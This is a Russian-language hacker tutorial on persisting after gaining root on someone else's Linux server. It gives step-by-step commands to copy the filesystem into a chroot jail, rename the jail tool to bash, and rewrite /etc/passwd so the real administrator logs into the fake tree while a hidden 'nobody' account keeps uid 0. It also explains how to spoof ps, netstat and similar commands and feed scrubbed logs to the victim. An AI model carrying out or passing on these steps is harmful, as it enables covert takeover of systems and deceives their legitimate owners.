Статья предназначена для тех, кто уже получил права root на удаленной системе и раздумывает о том, как
оставить за собой право юзать все сласти без последующих ограничений.
Итак, ты уже получил рута? Выбираешь руткит? Вся трабла в том, что публичные руткиты довольно успешно ловятся
rootkit hunter`om и прочим софтом (иногда просто головой и руками),
поэтому долго рассчитывать на управление захваченным ресурсом не
приходится. Забей на руткиты, стань полноценным властелином и сделай админа
своей марионеткой. Задача наша состоит в том, чтобы заставить админа свято верить в то,
что он админ, взлома не было и не могло быть. Ну что поехали?
Для работы нам понадобится JAIL: http://www.jmcresearch.com/src/projecthelper.php?action=download&id=1&url=/static/dwn/projects/jail/jail_1.9a.tar.gz
http://www.jmcresearch.com/static/dwn/projects/jail/jail_1.8.tar.gz
и творческий подход.
Шаг 1
Для начала нам необходимо создать полный backup системы:
смотрим инфу о разделах и выбираем самый жирный раздел,
к примеру
/usr/share
df -h
Тарим все!
mkdir /usr/share/krblibs
cd /
tar -c /*>/usr/share/krblibs/fake_root.tar
после создания архива приступаем к действу.
Шаг 2
cd /tmp
wget http://www.jmcresearch.com/src/projecthelper.php?action=download&id=1&url=/static/dwn/projects/jail/jail_1.9a.tar.gz
wget http://www.jmcresearch.com/static/dwn/projects/jail/jail_1.8.tar.gz
после разархивации и компиляции мы получаем замечательный инструмент -
jail
[root@skynet root]# whereis jail
jail: /usr/local/bin/jail
Теперь переименуем его в bash
mv /usr/local/bin/jail /usr/local/bin/bash
Создаем каталог для размещения фальшивого дерева каталогов
mkdir /usr/share/krblibs/fake_root
Создаем скелет для CHROOT
/usr/local/bin/addjailsw.pl /usr/share/krblibs/fake_root
После создания окружения ты должен увидеть примерно следующее:
ls -l /usr/share/krblibs/fake_root
drwxr-xr-x 2 root root 4096 Апр 30 09:07 bin
drwxr-xr-x 2 root root 4096 Апр 30 09:07 etc
drwxr-xr-x 3 root root 4096 Апр 30 09:07 lib
drwxr-xr-x 2 root root 4096 Апр 30 09:07 proc
drwxr-xr-x 2 root root 4096 Апр 30 09:07 root
drwsrwxrwx 2 root root 4096 Апр 30 09:07 tmp
drwxr-xr-x 5 root root 4096 Апр 30 09:07 usr
drwxr-xr-x 3 root root 4096 Апр 30 09:07 var
Теперь нам нужно поместить копию реального дерева в только что
созданный скелет:
cd /usr/share/krblibs/fake_root
tar -xpvf /usr/share/krblibs/fake_root.tar
Расслабляемся (пьем кофе или пиво, курим сигареты).
В реале мы должны получить точную копию файлового дерева до внесения изменений в системе в каталоге
/usr/share/krblibs/fake_root
Шаг 3
Теперь непосредственно начинаем подмену пользователей.
Сделаем nobody рутом?
passwd nobody
Приводим /etc/passwd к виду
vi /etc/passwd
root:x:0:0::/usr/share/krblibs/fake_root:/usr/local/bin/bash
nobody:x:0:0:Nobody:/:/bin/bash
:wq
Как видно, юзер root всегда будет логонится через JAIL,
можно при желании загнать всех юзерей в сhroot enviroment.
Лишь один юзер nobody будет иметь права root в реальном дереве)))
Если не нравится nobody - заведи нового юзера.
Шаг 4
Релогонимся юзером nobody. Администрим систему:
теперь на необходимо расписать права админа и пользователей
так, чтобы ни у кого в процессе повседневной работы не возникало
подозрений о существовании fake root:
a. Теперь можешь заспуфить в fake root команды: df, ps, lsof, netstat,
etc...
b. Создай линки файлов и каталогов из fake root в реальный root для того,
чтобы юзера продолжали успешно аплоадить странички, админ - добавлять юзерей и менять настройки в
рамках определенных тобой.
d. Скидывай раз в 10 минут обновления из лог файлов в fake root,
предварительно выкинув из них все лишнее ))
c. Позаботься о безопасности системы:
поставь к примеру под апач mod_security, генерящий ошибку 404 на
скрипткидди.
Итог: все юзера, посаженные в правильно построенный CHROOT_ENV,
будут сидеть в фальшивом дереве /usr/share/krblibs/fake_root, видеть только то, что ты им покажешь. Весь реальный машинный ресурс
твой.
Наслаждайся...
P.S. Как показала практика, на осознание факта существования CHROOT_ENV у
среднестатистического админа уходит порядка 8-9 месяцев.